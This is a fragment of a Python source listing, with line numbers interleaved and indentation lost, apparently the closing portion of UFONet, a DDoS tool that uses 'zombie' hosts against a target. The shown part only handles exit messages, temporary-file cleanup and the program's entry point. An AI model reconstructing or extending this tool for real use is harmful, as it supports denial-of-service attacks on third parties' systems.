print("[Info] [AI] All your battles have ended! -> [Exiting!]")
6208
print("\n"+ '-'*21+ "\n")
6209
print("[AI] "+self.exit_msg+"\n")
6210
if not self.options.web:
6211
return
6212
else:
6213
if num_real_zombies < 1: # not any 100% vulnerable zombie found
6214
print("\n[Info] [AI] [Control] Not any 100% vulnerable zombie found! -> [Exiting!]\n")
6215
if os.path.exists('mothership') == True:
6216
os.remove('mothership') # remove mothership stream
6217
if os.path.exists('alien') == True:
6218
os.remove('alien') # remove random alien worker
6219
if not options.web:
6220
sys.exit(2) # exit
6221
else:
6222
return
6223
else:
6224
print("\n" + '='*21)
6225
AI_reply = input("\n[AI] Do you prefer a 'fortune' cookie instead? (y/N)\n")
6226
if AI_reply == "y" or AI_reply == "Y":
6227
self.AI() # AI fortune cookie
6228
print('-'*21+ "\n")
6229
print("\n[AI] "+self.exit_msg+"\n")
6230
if os.path.exists('mothership') == True:
6231
os.remove('mothership') # remove mothership stream
6232
if os.path.exists('alien') == True:
6233
os.remove('alien') # remove random alien worker
6234
if not options.web:
6235
sys.exit(2) # exit
6236
else:
6237
return
6238
else:
6239
if not options.attackme:
6240
print("\n[Info] [AI] "+target+" -> [Target looks OFFLINE!]")
6241
else:
6242
print("\n[Error] [AI] NAT is not working correctly! -> [Exiting!]")
6243
print("\n" + '-'*21)
6244
print("\n[AI] "+self.exit_msg+"\n")
6245
if os.path.exists('mothership') == True:
6246
os.remove('mothership') # remove mothership stream
6247
if os.path.exists('alien') == True:
6248
os.remove('alien') # remove random alien worker
6249
return
6250
6251
if __name__ == "__main__":
6252
app = UFONet()
6253
options = app.create_options()
6254
if options:
6255
app.run()
6256
6257